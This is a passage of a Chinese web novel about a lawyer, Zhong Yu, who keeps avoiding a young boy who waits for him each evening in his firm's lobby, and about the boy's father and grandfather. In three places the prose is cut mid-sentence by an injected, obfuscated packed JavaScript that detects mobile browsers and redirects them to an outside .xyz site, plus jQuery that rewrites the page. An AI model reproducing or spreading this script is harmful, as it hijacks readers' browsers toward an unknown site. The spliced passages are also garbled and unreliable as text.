冷不防肩膀被人从后面拍了一下,廖志晖吓一跳,应激地抖了一下,回首就见是老陈。
老陈心想廖志晖干什么呢鬼鬼祟祟,随后也朝钟虞的办公室看去,顿时便明白了——廖志晖这是在查探“敌情”呢。
老陈有点无语,同廖志晖并排看了一会儿,也不自觉被钟虞工作时的专注吸引。廖志晖胳膊肘捣他,低声问:“你说他这一天到晚的这么拼,他是不是有房贷要还啊?”
廖志晖这是以己度人,他工作最拼的那会儿就是房贷压力最重的时候,后来房贷还完了就没那么有干劲了。后来他得出结论,房贷就是发明出来叫人甘心当牛马的工具啊!
老陈说不知道,廖志晖又说你们不是校友吗,他是不是有什么背景啊,哎他结婚了吗,上次来那个小孩是他什么人啊?
老陈可不想透露钟虞私事,他跟郝家明开了一天会,说话都带粤语腔,一律“我母鸡啦,雷唔要问我啦”。
廖志晖气得甩手走了。
老陈伸了个懒腰,颈椎咯吱咯吱地抗议,正要走,恰好见钟虞摘掉耳机,猜他应该是开完会,于是走到门口在玻璃上敲了敲,等钟虞抬头看他,他才推开门,站在门口问:“完事了?送你一程?”
钟虞看着老陈,他知道老陈是真心想送他,不是客套,但他也知道老陈每天回去得晚,能陪伴女儿的时间很少。
于是他坐在椅子上笑了笑,回老陈:“你先走吧,我还有点事要收尾。”
“行吧,那我先走了。”老陈不忘叮嘱,“晚上天冷,早点回去睡觉,别太拼了。”
办公室里安静下来,钟虞缓缓向后靠在椅子上,脊背弯出漂亮的弧度。他看着屏幕里的头像一个个下线,最后才点击退出,慢慢把屏幕合上。
他习惯最后一个离开,以防有人会有问题要问。
外头的大办公区还亮着几盏灯,大概是有助理在加班,而身后窗外,城市灯火一片片亮起,赋予夜晚独特的温度。
放空了片刻,钟虞直起身,拿起桌上的削笔刀,又拿起一支刚才开会时不小心写断的铅笔。
削笔刀就是小时候用的最简易的那种,把笔头伸进去轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424986|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻转动,木屑一层层刨下来,沙沙声听着很解压,当时老陈的助理问他需要什么文具,除了纸笔,他就要了这个。
他喜欢这种机械不费脑子的事,在这短暂的一分钟里,他可以什么也不想,完全放空。
笔削好,钟虞把铅笔举到面前吹了吹,又凑近鼻底闻了闻,能闻到木头的清香。
等他满意地把笔插进笔筒,准备收拾下班的时候,抬头就见老陈去而复返,杵在他办公室门口,表情欲言又止。
钟虞问怎么了。
“那个……楼下有人等你。”
“谁?”
老陈神色复杂:“你最好自己下去看看。”
钟虞不喜欢面对未知,老陈越是这么说,他越是坐在椅子上没有动:“到底怎么了?”
老陈只好说:“那个小孩,就是疑似那谁那儿子,来了,就在楼下大堂里等你呢。”
钟虞一愣,本能地就要起身,然而屁股离开椅子的那一瞬又生生将自己按回去,没什么表情地问老陈:“你怎么知道他在等我?”
老陈被问住了,他坐电梯下楼,一出电梯就看到蒋兜兜坐在大堂的沙发上,第一反应就是这小孩肯定是来找钟虞的,于是又立刻按电梯上来了。
钟虞说:“你搞错了,他不是来找我的。”
老陈同他对视一会儿,见钟虞脸色不像作假,叹了口气,心道行吧,算他多管闲事。冲钟虞挥挥手,这回真的走了。
老陈走了,钟虞继续收拾桌面,看起来相当平静。
门又被敲响,钟虞抬头,这次是所里的一个律师助理。
那助理捧着一本书,看着钟虞,有些紧张地问:“钟律,方便占用您几分钟时间吗,我有个问题想请教。”
钟虞没有犹豫:“好,什么问题?”
助理走到他面前,将书打开到折痕处,指着上面用笔标注处的一段话。
钟虞低头去看。
很熟悉的法条,他上学的时候就倒背如流,但现在却好像不认得了。
他又抬头去看那助理,对方嘴唇开合说着什么,他一个字也没听进去。
——那个孩子真在楼下?来做什么?他是一个人吗?蒋绍言呢?蒋绍言会放任那么小一个孩子单独出来?万一是偷偷跑出来的呢?晚上冷,他穿得衣服够吗?要是一个人会不会有危险?
一连串问题几乎挤爆钟虞的大脑。
“抱歉,”钟虞抬手揉捏眉心,开口打断,“我现在有件急事,必须先走。明天再给你解答可以吗?你要是着急,可以把问题发我邮箱,我稍后会给你回复。”
那助理愣了愣:“……好,我不着急钟律,明天也行,您先忙。”
钟虞离开了,最初几步尚且步伐平稳,但很快,他就加快了速度。
于是这天晚上留下加班的几个助理,便罕见地瞧见了这一幕——一向冷静从容的钟大律师头一次不淡定,一路小跑穿过走廊,跑到电梯间按下电梯,要不是有辆电梯恰好就停在本层,心急的钟律可能会直接从楼梯跑下去。
11. 炫迈baby
律所楼下的大堂灯光明亮,蒋兜兜坐在角落的一张沙发上,面前摊着一张纸。
吴瑞今天给他妈妈画了一幅画,他也想给钟虞画一幅画。
但画什么他没想好,彩色铅笔在纸上涂涂抹抹,找不出灵感,每次有人从闸机出来,他都警醒地抬头,寻找熟悉的那道身影。
蒋兜兜有些困,下午一放学他就吵着要去蒋绍言公司,蒋绍言说钟虞不在,蒋兜兜立刻就说:“那我去他律所找他。”
他已经知道钟虞是律师,工作的地方叫律所。
时间对蒋绍言来说最宝贵,但还是认命地给小崽子当司机。
开到半路,蒋兜兜又说不行,他得回家换件衣服,因为他的衣服上活动课的时候蹭到墙上弄脏了。
事实并非如此,幼儿园班里有个男生一直跟他不对付,下午活动课是在操场上,那男生故意把吴瑞往沙坑里推,不过蒋兜兜立刻推了回去,蒋西北教过他的,说这叫以牙还牙。
蒋绍言践行诺言,不反对不干涉,掉头回家,带蒋兜兜上楼换衣服。
蒋兜兜在路上就想好要穿什么,从衣柜里扒拉出一套小西装,上次是黑色,这次是白色,他想钟虞或许不喜欢黑色。
换好衣服,蒋兜兜又说,我不坐你这辆车,我要坐迈巴赫。
蒋绍言又把车换成迈巴赫。
于是这天从楼里下班的人,都看到角落坐着一个小孩,脸蛋着实漂亮,目光却有些冷,好像一只对陌生人十足警惕,但只要主人一靠近就会乖乖袒露肚皮的猫咪。
已经好晚了,小虞儿怎么还不出来啊?
蒋兜兜有些急,回头看了一眼,蒋绍言的车就停在外面,隔着车窗能隐约看到坐在驾驶位上蒋绍言的身影。
父子俩无声对视一阵,蒋兜兜把头转回来,想起蒋绍言之前跟他说过的话,深呼吸一口气,叫心慢慢静下来,低头继续琢磨他的画。
电梯声响,又有人出来了,蒋兜兜条件反射抬头,原本不抱希望,所以猛一看还以为是自己的幻觉,再仔细一看——
是钟虞,真是钟虞!
蒋兜兜立刻从沙发跳下来,双手攥着小西装努力往下把褶皱拉平,眼睛亮亮的,既紧张又期待地看着钟虞。
钟虞从闸机出来,一步一步慢慢走,停在和蒋兜兜平行的位置,没有再向前。
见小孩安然无恙,钟虞暗自平复呼吸,心跳依旧不明原因地快得厉害。
不知何处压来一道隐晦的视线,钟虞敏锐,立即转头,很快在大楼外的空地上看到了一辆迈巴赫,以及坐在车里没有下车的男人。
原来蒋绍言在啊。
钟虞轻轻抿了抿嘴唇,目光又移回蒋兜兜,视线晦涩又轻柔地滑过他的脸蛋、身体和拽着衣服的两只小手,随后便转过头,大步朝外走去。
蒋兜兜睁大了眼睛,看钟虞转身,看钟虞从旋转门里走出去,看他上了一辆在门口等客的出租车。
小崽子眼睛里的光芒迅速消失。
距离十几米,隔着两道玻璃,蒋绍言看得真切。
他看到蒋兜兜原地站了好一会儿,似乎才终于接受事实一般,垂着头,慢吞吞走回沙发旁,开始收拾散落的画纸和铅笔。
回去路上,蒋绍言接到蒋西北的电话,说预订的大闸蟹马上到了。
蒋兜兜从小吃惯好的,嘴挑得很,中秋那会儿螃蟹还不够肥,他没吃几口,蒋西北当时就给在阳澄湖承包养蟹的一个老战友打电话,让螃蟹一熟就给他空运来,还必须是黄多肉肥的母蟹。
蒋西北要蒋兜兜周末过去吃螃蟹,蒋绍言说行。
挂了电话,蒋绍言从后视镜里瞥了眼歪在后座蔫不拉几的小崽子,心中忽然对钟虞产生一丝怨怼。
但那股情绪很快消失,因为他知道,钟虞心狠只是表象,看似冷硬的人其实拥有最柔软的心,只是融化外面那层坚冰需要时间,慢慢来吧。
一次失利根本击不退蒋兜兜,之后几天,蒋兜兜每晚准时去律所楼下蹲守,不止老陈,其他律师和助理也注意到,私底下议论的时候都管蒋兜兜叫“炫迈宝贝”,“坐炫酷迈巴赫来的宝贝”的简称。
周五上午,钟虞和老陈又去了趟西北集团,下午郝家明有个会,他们中午就先回来了。
刚进律所,就看到一群吃饱了没事干的人在凑堆闲聊,打赌“炫迈宝贝”晚上还会不会来,来的话穿什么颜色的衣服。
“黑的白的红的蓝的,哦蓝的那件还是带亮片的……”一个律师助理掰着手指数,“都穿过了吧,暂时可以排除这几种,来来来下注了,炫迈baby今天穿什么颜色,输的请喝奶茶啊。”
这是继“楼上金权美女合伙人柏萧红什么时候三婚”之后,又一个群众们喜闻乐见的话题。廖志晖端着杯咖啡悄眯眯靠过去,糊里糊涂听了一耳,不明所以地问:“什么炫迈,什么颜色?”
钟虞出电梯刚好听到,老陈下意识转头去看他的反应。
好像……没有反应。
老陈心虚地直摸鼻子,怕赶不回来,昨天他还特意嘱咐助理给他下注,他打赌那小孩今天会穿黄色。
“咳咳……”老陈做作地清嗓,此地无银地对钟虞说,“他们聊口香糖呢。”
钟虞眼锋扫他,你们当我傻子?
老陈又摸鼻子,看着钟虞越走越远的挺直背影,心想那可真是个锲而不舍的小宝贝,到底跟钟虞什么关系?
一下午钟虞都呆在律所,文件摊开在面前,却一个字没看进去,铅笔轻点桌面,心里琢磨着别的事。
在蒋绍言公司见到小孩那次刚过五点,结合这几天听到的议论,那孩子最迟五点半就会到楼下,而且一定要等到他才会走。
奇怪的是,他就远远站着,不靠近也不说话,就用那一双清澈的圆眼睛,默默凝望他。
钟虞闭上眼,然而那双眼却像长在他脑海里,根本挥之不去。
很快,那双偏圆的眼睛被另一双眼睛取代,狭长、漆黑、锋利。
除了第一天,蒋绍言没再出现,陪小孩过来的要么是司机,要么是助理,蒋绍言这心也真是大。
这种状况不受自己掌控的感觉让钟虞有些难受,他在办公室枯坐,刚过五点半就站起来,拎上文件电脑朝外走。
半路遇到老陈,稀奇地看他,问他怎么走这么早。
“有点事。”钟虞说,其实根本没事,他只是提早回酒店,他不想让那个孩子等他。
老陈随他一起往电梯间走,边说:“对了,你嫂子说什么时候一起吃个饭,你很久没见她了吧。”
老陈的爱人也是岚大法学院毕业,高钟虞两届的师姐,目前在一家跨国公司做法务。钟虞点头,按下电梯,说:“好啊,这周末吗?”
老陈略一沉吟,说:“周末我们俩得带孩子回老人那儿,要不下周找一天晚上吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424987|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你看怎么样?”
钟虞应下。
电梯很快到了,里头冲出来一个年轻助理,原本兴奋的表情在看到钟虞和老陈后微微凝滞,恭敬地打声招呼,之后飞快绕过两人跑进所里,冲翘首等待的众人公布答案。
“灰色!”
有人欢呼有人叹气,老陈嘶了声,表情扼腕,猜错了。
钟虞扯唇冷笑,真是闲的。
老陈讪笑,目送他上电梯。
电梯平稳下行,除了钟虞没其他人,看着轿厢镜子里的自己,钟虞不自觉抬手,正了正领带。
意识到在做什么,他愣了愣,慢慢地又将手放下。
到一楼,门往两边拉开,钟虞稍顿了两秒才走出去,一眼就看到坐在角落沙发上的小人儿。
大概没想到钟虞会这么早出来,小孩没往他这边看,而是低头在看面前的纸,一只手里拿着铅笔在上面涂涂画画。
钟虞不自觉停下,站在闸机后头,安静地看。
阳光从身侧的落地窗照进来,刚好照在那孩子坐的位置,暖黄色的光将他整个人笼罩进去,为那幼小的身体镀上一圈毛茸茸的光晕。
小孩今天穿了一身灰色小西装,偏休闲的款式,踩着白色板鞋的两只脚轻轻地晃着,他时而苦恼皱眉,时而专注凝眸,钟虞从不知道一个孩子脸上能出现这么丰富的表情。
时间仿佛在此刻无限拉长,其实也不过短暂几秒,钟虞收敛眼神里的温柔,迈步从闸机穿过,故意跟旁边的保安打声招呼,音量不小,足够旁人听见。
蒋兜兜瞬间警醒,唰地抬头。
钟虞朝他看了一眼,很快转回来,从旋转门出去,坐车走了。
蒋兜兜还没反应过来,愣愣地坐在原地,直到蒋绍言走过来,把他拉上车。
蒋兜兜窝在儿童椅里,还有些不敢置信,过了一会儿,往前扒着前排座椅问:“他今天怎么这么早啊?”
“因为他不想你等他。”蒋绍言说。
“为什么啊?”蒋兜兜不解,“我喜欢等他啊,我高兴我乐意,不对啊……难道我又让他烦了?”
不能够啊,他话还没说上,腿没抱到,手也没牵上,钟虞怎么能烦他。
蒋绍言没说话,开到路口等红灯的时候把手机拿出来,点了两下,然后递给蒋兜兜:“自己看。”
蒋兜兜不明所以地拿过手机,就见上头竟然是张照片,钟虞就站在电梯和闸机之间的那个夹角,看的正是他坐的方向。
蒋兜兜一双圆眼瞪得更圆了。
车里安静了十几秒,蒋绍言就听耳畔传来一声尖叫,蒋兜兜兴奋地大喊:“他偷偷看我耶,他在偷看我!”
蒋绍言握着方向盘,勾起唇无声笑了笑,说:“回去坐好。”
蒋兜兜捧着手机不撒手,放大了钟虞的脸,看他的眉毛鼻子嘴唇下巴,看了又看,根本舍不得移开。
很快他就冷静下来,掏出自己小手机,熟练地把照片从蒋绍言手机传到自己手机里,他之前传过动画片所以知道怎么做。
这可是他和钟虞的第一张合照!!
蒋绍言在后视镜看到:“你干什么?”
蒋兜兜没抬头,专注盯着屏幕上的传输进度,说:“传照片,你放心,我没给你删了,你手机里还有。”
等照片传完,手机还给蒋绍言的时候,蒋兜兜眨眨眼,真心实意说:“爸爸,你可真狡猾。”
12. 小馄饨
周末,蒋绍言带蒋兜兜去蒋西北的别墅。
螃蟹早上到的,蒋西北让司机去机场开车拿回来,一共四箱,全是肥美丰硕的母蟹,一半蒸着吃,另一半让保姆章姨把蟹黄蟹肉挑出来,混点打成泥的虾肉包馄饨。
蒋兜兜最喜欢吃,每年也就这个时节能吃到。
挑蟹黄蟹肉是细致活,蒋西北拄着拐杖在保姆身后视察了两圈,决定亲自上手,老花镜戴起来,镊子拿起来,一点点把黄和肉挑干净,难为他一个糙老爷们,但是为了孙子,眼酸背痛也乐意!
蒋兜兜一路上心情畅快,摇头摆尾地哼着动画片里的歌,等蒋绍言把车停稳,他才把手机揣回去,打开车门,像小鸟一样飞扑进早就翘首以朌的蒋西北怀里。
“爷爷!”
声音脆得像黄鹂,蒋西北听得心头似蜜,紧紧搂着大孙子,脸上每条皱纹都在笑。
蒋绍言跟在后面,喊了一声“爸”。
这声爸叫得蒋西北心头微动,在过去漫长的一段时间里,蒋绍言都没怎么叫过他,也就是蒋兜兜渐渐长大,在两人之间充当粘合剂,关系才有所改善。
蒋西北眼热,心头更热,响亮地应一声,然后转过身,大声招呼保姆上锅蒸螃蟹,开饭!
这个时候的螃蟹是最鲜的,饱满的蟹黄不用蘸醋,一口下去鲜掉眉毛,蟹肉吃起来也有股甜味。
除了螃蟹,保姆章姨还做了不少时令菜,蒋兜兜心情好,吃得就多,话也密,叽叽喳喳说个不停。蒋西北眯眼看他,嘴里砸么着绍兴黄酒酿出来的桂花酒,觉得其实人生也不过就为这一刻。
他喝了酒,瞧着蒋绍言似乎心情不错,曾经掩埋的心思又活泛起来,于是趁着吃完饭蒋兜兜去厨房看保姆包馄饨的时候,跟蒋绍言提让他去见见人。
所谓见见人,就是去相亲。
蒋绍言正在炉子上煮茶,蒋兜兜一顿吃了四只蟹,他怕小孩肠胃不舒服,让保姆准备了桂圆红枣姜丝,架起个炉子小火慢慢煨着。
听了蒋西北的话,蒋绍言没应也没否,不急不慢将玻璃茶壶的盖子掀开,抖着手腕往里头添了点调味的红糖,随后又将盖子盖上,继续煮着。
茶汤变为浓郁的紫红,香味飘散出来。蒋绍言的沉默叫蒋西北心里打了个突,但他看蒋绍言脸色还算平静,于是又问了一遍。
“就是去见见,也没叫你一定现在就结婚。”蒋西北探头往厨房望一眼,确定蒋兜兜听不到才继续说,“兜兜大了,公司也都挺好,你该考虑个人问题了,总不能一辈子不成家吧。”
要是早年,蒋绍言或许还会跟蒋西北争一争,比如“我喜欢男人您又不是不知道”,或者“没感情的婚姻我不要”,还有更争锋相对的“您以后别再变着花样往我床上塞人”。但他早已过了气盛的年纪,而蒋西北查出癌症鬼门关前走一遭,也改变了他对很多事情的态度。
于是蒋绍言只是平淡地说:“知道了,我心里有数。不过见人就算了,没必要。”
蒋西北欲言又止,蒋绍言这几年掌舵集团,身处高位练就出来的说一不二的气场叫他这个老子都有些犯怵。蒋西北只能叹口气,转而打亲情牌。
“我也不知道什么时候就去跟你妈团聚了,你一直这样叫我怎么跟她交代。”蒋西北低声说,“我年轻时认识你妈,你妈不辞辛苦跟我去岛上,后来在绍兴那边生了你,本来想给你起名叫蒋绍兴,但你妈觉得不好,就改叫绍言……”
人老了就喜欢回忆过去,这一段往事,蒋绍言听蒋西北说过许多许多遍。蒋西北出生在西北农村,蒋绍言他爷爷就地取材,给取了“西北”这个名字,图一个省事,好记。蒋西北人如其名,性格中带着一股豪爽的草莽之气,没什么文化,读到高中就辍学去舟山附近的岛上当兵,机缘巧合认识了妻子,退伍后他跟几个战友合伙在当地做生意,很快有了一定规模,而妻子也怀孕,在绍兴生下一个儿子。
蒋西北原本想沿袭传统,就给儿子取名叫蒋绍兴,有意义还好记,更重要是他肚子里没几滴墨,想不出什么高雅的词儿来。
妻子倒不认同,觉得蒋西北生意做大,人有点飘,嘴上经常没把门,有时说话得罪人都不知道,于是做主把兴改成言,绍言,音同“少言”,希望孩子能做个谨言慎行的人。
蒋西北原本想劝蒋绍言,说着说着自己反倒有些动容,他瞧了沉默的蒋绍言一眼,有一丝后悔,心想当初就不该听妻子的叫这个名字,蒋绍言哪儿是“少言”,蒋绍言是太吝啬词句了,亲爹说了这么多也换不回半点反应!
蒋西北气性上来,有些控制不住,情绪变得激动:“我生病之后,你接手公司,还有了兜兜,我很满足很知足,这辈子算是无憾了,唯一的心愿就是想在我闭眼之前看你成家,再生个小娃娃。人家大师都说了,你这辈子会有两个孩子,你总要让我闭眼之前看看第二个孙子吧——”
“爸。”蒋绍言突然打断他。
蒋西北愣了愣,朝蒋绍言看去,对上一双深沉锐利甚至带着点煞气的眼睛,蒋西北一个激灵,陡然醒酒了,他今天真是喝多了,上头了,以至于说了最不该说的话。
蒋兜兜就在这时从厨房跑过来。小孩子敏感,一下子感受到了气氛中的紧张,小跑的步子在半途刹住,谨慎地没有向前,直到蒋绍言朝他看来,温声问他怎么了。
蒋兜兜这才慢吞吞走过去,走到蒋绍言跟前问他,小虞儿喜不喜欢吃螃蟹。
蒋绍言认真想了想,回忆和钟虞度过的那段光阴,从十月到来年六月,正好错过了那年的中秋。他诚实说:“我不知道。”
“啊……”蒋兜兜失望。
蒋绍言问他:“你是不是想把螃蟹带给他吃?”
蒋兜兜重重点头。
蒋绍言说:“但明天是周末,他不一定上班。”
蒋兜兜撅着嘴不说话,螃蟹就要新鲜的才最好吃,搁两天说不定就死了,还怎么拿给钟虞。
不过很快他就想到另一种办法:“那我把小馄饨带给他吃吧,馄饨里也有螃蟹。”
“可以。”蒋绍言说。
蒋兜兜欢呼:“哦耶,那我要把馄饨全都留给小虞儿!”他往厨房跑去,对保姆喊道:“章奶奶,我不吃馄饨啦,你帮我包起来,我要带给小虞儿吃!”
蒋西北听父子俩说了半天,纳闷什么小鱼小虾的,听着像是个人,能叫蒋兜兜连最喜欢的蟹肉馄饨都不吃,全都送出去。
更叫他惊奇的是,说到这个人的时候,蒋绍言瞬间像是变了个人,周身的煞气全然不见,只剩无边温柔。
蒋西北满心好奇,当着蒋绍言的面不敢问,只能等晚上蒋绍言走了问蒋兜兜,蒋兜兜穿着小黄鸭睡衣,翘着脚趴在床上琢磨他的画,闻言朝蒋西北看了一眼,给出了一个叫蒋西北心凉半截的答案。
蒋兜兜说:“小虞儿是我妈妈。”
*
周末两天断崖式降温,周一早晨,钟虞从酒店出来,站在门廊等车的时候,一片落叶恰好掉在肩头。
他抬起头,发现酒店门前的行道树一夜之间全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424988|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄了。
白天在西北集团谈了一整天,郝家明准时在五点按着太阳穴叫停,出来后老陈给爱人打了个电话,他爱人正好没事也能下班,择日不如撞日,干脆就把聚餐定在晚上。
老陈询问钟虞的时候,他似乎有一瞬的犹豫,但很快说可以。
聚餐地点定在火锅店,就是钟虞回国当天老陈说好了带他去吃的那一家麻辣火锅。
钟虞和老陈先到,点完菜支上锅,没多久老陈爱人也到了,钟虞起身,脸上带着淡淡笑意,喊道:“师姐。”
老陈爱人名叫何婷,同老陈一样也是爽快大方的性格,一见面二话不说先跟钟虞来了个大大的拥抱。
老陈醋劲十足:“呦呦呦,对我怎么没见你这么热情啊?”
何婷白他一眼:“你天天见,有必要热情吗?我跟钟虞都多久没见了?要不是美国不兴贴面那一套,我高低得跟钟虞贴一个。”
何婷把呢大衣脱了,在老陈旁边坐下,服务员过来用罩子罩上,防止衣服沾上气味。
过来前何婷先去小托班接女儿,送去自己母亲家。得知何婷要跟钟虞吃饭,老太太一个劲儿催她赶紧走,别叫人等,还说“你再替我谢谢那孩子,在国外瞧病的时候帮了那么多忙”。
所以何婷对钟虞特别感激:“咱们上次见还是在纽约吧,那时候真是谢谢你。”
因为钟虞晚上还要跟纽约的团队视频,三人便以茶代酒,钟虞修长的手指握了握白瓷杯,淡淡笑着对何婷说:“师姐,这话你说过很多次了,再说就见外了。”
“行行,不说了,”何婷意识到自己有些激动,爽快地笑了笑,“今天吃好喝好,我请!”
秋冬最适合吃火锅,尤其刚降温,火锅店里几乎满座,滚沸的红油锅上热气蒸腾,连空气中都飘着令人垂涎的鲜辣味。
钟虞吃相斯文,衬衫袖子挽起,提筷夹一片煮熟的牛肉,油碟里轻巧一沾,不紧不慢送进嘴里,那两瓣嘴唇便裹上一层油光,看着更加鲜红湿润。
就在这时,何婷发现旁边桌有两个小姑娘举着手机对准钟虞,立刻意识到什么,起身过去请两人把视频删掉。
“我们这是私人聚会,请不要拍哈。”
何婷态度挺客气,还给科普一番,公共场合拍摄他人即便不盈利不传播仍然可能构成侵权。
两个姑娘立刻删了,连连道歉。
何婷特理解地说:“我知道人长得帅你们忍不住,没事,删了就行。”
等何婷回来,老陈笑说:“可以啊媳妇儿。”
何婷也笑,回忆上学时,钟虞每次上课也有不少人拍他,本院外院都有。何婷忍不住笑,笑完心情又突然间有些沉重。
比起老陈,何婷听过更多关于钟虞的传闻,那时的钟虞是女生宿舍卧谈的焦点,何婷虽然有了男朋友,也忍不住参与讨论。
所以她听说,钟虞从小没有父母,是他奶奶带大的。除了奶奶,唯一的亲人就还有一个叔叔。
不过听说那个叔叔前几年被人追债失足坠楼,这件事当时不待曝光就被人悄无声息地压下,何婷之所以会关注,是因为她见过钟虞的叔叔。失足坠楼之前,他叔叔曾经跑到学校,闹着要钟虞在国外的联系方式。但那时他们所有人都联系不上钟虞。
他叔叔死的时候,距离钟虞出国还不到半年,何婷原以为钟虞会回国料理后事,但他却没有。
包括后来老陈告诉她的,钟虞奶奶迁坟,他也没有回来。
六年来,一次都没有回来过。
13. 起风了
吃到一半,何婷出去接了个视频电话。
她起身的时候,钟虞正好看到手机里晃过一个两三岁的小女孩,粉嫩脸蛋占据了大半的屏幕。
“闺女,”老陈说,“一到晚上谁都不要,就找她妈。”
下意识地,钟虞翻过卡在桌面上的手机看了一眼。
已经六点半了。
他放下筷子没有再吃,纸巾擦拭红润的嘴唇。
没多久,何婷回来,见钟虞已经停筷,张罗要加菜,钟虞说不用够了,何婷见他目光总往手机上落,问:“怎么了有事啊?”
老陈似笑非笑插话:“你没看他都坐立不安了吗?”
钟虞抬头,意味不明瞥了老陈一眼。
何婷一头雾水,以为钟虞着急回去工作,便没坚持,只加了一份手工面,是这家特色,叫钟虞一定尝尝。
等面的过程,何婷想起刚才跟女儿视频,叹了口气:“有孩子以后,心里有牵挂,上哪儿都不自由。”
老陈似笑非笑哼了一声。
“你哼什么?”何婷瞥他,目光又落在对面垂头搅弄汤羹的钟虞身上,总觉得钟虞像是有心事,她没多想,继续说,“而且总会很焦虑,你说我把她生下来,不是养只小猫小狗那么简单吧,我得对她负责,我能不能在物质上给她无忧的生活,能不能在精神上给她正确的指引,有时候想,如果我做不到,当初费尽心思把她生下来又是为什么呢,她以后会不会怨我呢?一想到这个我就特别焦虑。”
老陈又插话:“媳妇儿,我工资卡上交,家里财政大权你尽在掌握,还有什么好焦虑的。”
钟虞沉默地听,拿起勺子舀一勺汤送进嘴里,他抿了一口,甜甜的银耳羹却尝到苦涩的滋味。
旁边桌的那两个女生走了,走之前还偷偷地朝钟虞看了好几眼。服务员收拾过后,又一桌客人落座,一个妈妈带个一岁左右的宝宝。坐下没多久,那宝宝就开始哭闹,钟虞目光看去,听那位妈妈边哄孩子,边问同行的看似是丈夫模样的男人,是不是因为断奶所以宝宝最近总爱哭。
何婷也听到了,感同身受地叹口气,讲起自己女儿断奶的经历。
“……真是费劲,孩子难受,我也难受,最后我心一横,心想长痛不如短痛,我总不可能喂她一辈子吧,既然迟早要断,拖拖拉拉的又何必呢。当断则断,要不然反而害了孩子……”
钟虞眉心微不可查地一跳。
“不可能一辈子”,“迟早要断”,“拖拖拉拉”,“害了孩子”……一字一字仿佛警钟,在他脑中重重敲响。
火锅尤自沸腾,咕嘟咕嘟滚着泡,桌上静了片刻。老陈察觉钟虞脸色不对,忙给何婷使眼神:“说什么呢,就一个断奶的事,叫你说这么严重,怎么就叫害了孩子。”
何婷懒得跟他掰扯:“你懂什么,你喂过奶吗,没喂过没有发言权。”
服务生端来三碗手工面,钟虞没尝出什么特别滋味,热乎乎的面吃进胃里竟重得好像冰坨。吃完饭,老陈两口子说要送他,钟虞道不用,拿出手机叫车。
老陈状似随意问:“回律所啊?”
钟虞指尖一顿,在目的地那一栏下拉,选定酒店地址。老陈见状,顿时露出惊讶的表情。
“不回律所,没必要回去。”
语气轻冷,不知是说给谁听。
车很快到,钟虞同老陈和何婷告辞。司机是个热情健谈的大哥,见目的地是酒店,问钟虞是来出差还是旅游。
“出差。”钟虞道。
“那待不了多久吧。”大哥还挺遗憾,“你要是呆得久那可得好好逛逛,我们这儿还是蛮多景点的。”
钟虞没搭腔,沉默着转头看向车外亮起的街灯。灯火融融,暖得叫人想靠近,忘记自己不过只是路人。
了到酒店,钟虞下车,经过大堂时恰好碰到经理,对方提醒他半夜还要刮风降温,让他注意添衣,谨防感冒,如果不舒服,酒店有常备药品可以提供。
钟虞表示感谢,回房间稍事休息,就到了和纽约团队视频的时间,他习惯提早上线,等候的过程站在窗边向外看。
行道树被风吹得向一个方向倾倒,行人纷纷裹紧外衣。
起风了。
钟虞面色微凝,不自觉抱紧手臂。
这样的天气,即便呆在紧闭的房间都觉得冷,何况是不时有人进出的大堂。
身后电脑传来上线的声音,钟虞回头,坐下时面色已回复正常。
上线的是助理茱莉亚,茱莉亚一眼注意到钟虞的嘴唇,玩笑道:“Yu,你嘴唇好红,是抹了口红吗,好漂亮。”
茱莉亚性格活泼,钟虞习惯了她不着调的调侃,用英语回她:“我晚上吃了火锅。”
茱莉亚发出羡慕的尖叫。
等其他人到齐,会议便开始,流程每次都大差不差,钟虞先分案子听汇报,点出问题再给出指示。
以往他总全神贯注,但今天听着听着,却有些走神。
窗外的风似乎更劲了,呼啸的冷气钻透窗楞的缝隙渗了进来。
那孩子今天还会去吗,穿的够不够多,等不到他应该会走吧。
“Yu,Yu?”茱莉亚喊了两声,钟虞方才回应她,问怎么了。
茱莉亚瞪大眼睛,看了钟虞好一会儿,只得把刚才的话重复一遍:“我有几份文件需要你签字,是我传真给你还是等你回来,不过也没那么着急。你那边进展不错吧,应该很快能回来?”
钟虞点头:“对,进展很好,我很快能回去。”
是啊,他迟早要走,如果不是为案子根本不会回来,不会见面。
他有些后悔,他应该在那孩子再一次来的时候就明确态度,而不是这样拖拖拉拉一个星期,虽然没有回应,但也没有拒绝,让两方都产生了不切实际的幻想。
茱莉亚说明白,她这边没其他事了。
钟虞又点另一名律师,努力集中精神却发现思绪依旧游离。
他想起何婷的话,当断则断。
若是不断,反受其乱。
如果迟早要分开,又何必在一开始要有交集?
何必呢……
